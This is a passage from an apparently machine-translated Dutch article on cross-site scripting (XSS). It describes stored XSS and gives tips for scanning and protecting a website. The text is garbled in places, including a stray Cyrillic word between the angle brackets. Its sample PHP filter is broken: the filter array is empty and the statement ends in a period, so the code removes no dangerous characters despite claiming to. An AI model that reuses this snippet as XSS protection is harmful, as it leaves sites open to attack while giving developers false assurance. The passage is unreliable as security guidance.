Actief. De aanvaller hoeft het slachtoffer niet te lokken met behulp van speciale links, aangezien de code is ingebed in databases of iets anders uitvoerbaar bestand op de server. Er is geen gebruikersactiviteit vereist. Invoerformulieren hebben in de regel een speciale gebeurtenishandler geïnstalleerd die automatisch wordt geactiveerd wanneer u op deze pagina terechtkomt. Als gevolg hiervan worden alle gebruikers die deze link volgen het slachtoffer van een aanvaller.

Hoe u uw website kunt controleren op XSS-kwetsbaarheden en deze kunt beschermen

Voor snelle controle site voor XSS-kwetsbaarheden, die u kunt gebruiken gespecialiseerde diensten, waarmee de pagina automatisch wordt gescand. Het is absoluut noodzakelijk om alle URL's te controleren waar de gebruiker gegevens kan indienen (reactieformulieren, feedback, zoeken). U kunt http://xss-scanner.com als voorbeeld gebruiken, maar u moet zich niet beperken tot slechts één tool.

Dergelijke diensten bieden geen volledige garantie op succes, daarom raden wij u aan de gevonden pagina's te controleren handmatige modus en zorg ervoor dat u alle gevaarlijke speciale tekens uitsluit en vervangt door veilige tekens. Het gaat om haakjes< и >, waarin alle door de taal gereserveerde HTML-query's en tags zijn geschreven.

Bijvoorbeeld voor snel filteren en automatische vervanging speciale karakters< и >Op de site kun je de volgende code gebruiken:

$filter = array("");

$_GET["q"]=str_replace($filter, "|", $_GET["q"]).

Enkele tips om XSS op uw site te voorkomen:

Als op uw site gebruikersinvoer is ingeschakeld, moet er codering plaatsvinden.

Als codering in sommige situaties niet mogelijk of wenselijk is, vervang deze dan of vul deze aan met validatie.

Veilige gegevensverwerking moet niet alleen in code worden uitgevoerd aan de kant van uw webserver, maar ook aan de gebruikerszijde (client).

Als u populaire CMS gebruikt, bijvoorbeeld Wordpress, Bitrix, Joomla, update dan regelmatig de versies van de engine en alle geïnstalleerde modules en plug-ins. Standaard zijn de meeste van de meest voorkomende websitebeheersystemen beschermd tegen het gebruik van XSS, maar plug-ins van derden van niet-geverifieerde bronnen kunnen kwetsbaarheden bevatten.